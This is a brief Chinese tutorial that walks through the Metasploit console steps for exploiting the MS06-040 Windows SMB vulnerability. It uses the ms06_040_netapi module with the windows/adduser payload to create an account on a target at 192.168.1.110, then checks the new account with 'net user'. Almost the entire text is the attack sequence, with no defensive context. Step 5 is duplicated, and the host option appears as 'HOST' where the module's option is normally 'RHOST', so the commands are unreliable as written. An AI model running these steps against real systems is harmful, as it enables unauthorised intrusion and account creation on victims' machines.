metasploit 使用实例

MS06-040漏洞利用

1.show exploits

2.use windows/smb/ms06_040_netapi

3.info—显示当前漏洞的详细信息

4.show targets—显示当前所选漏洞能够影响的操作系统

5.set target 0—自动识别系统5. set target 0—自动识别系统

6.show payloads—显示当前可用的shellcode

7.set payload windows/adduser—选用shellcode

8.show options—显示当前所选漏洞和shellcode所需的参数

9.set HOST 192.168.1.110—设置目标主机

10set PASS 123456—设置密码(密码简单会提示密码过于简单的错误信息)

11.set USER 123—设置用户

12.exploit—进行攻击测试

 

查看结果 net user 查看用户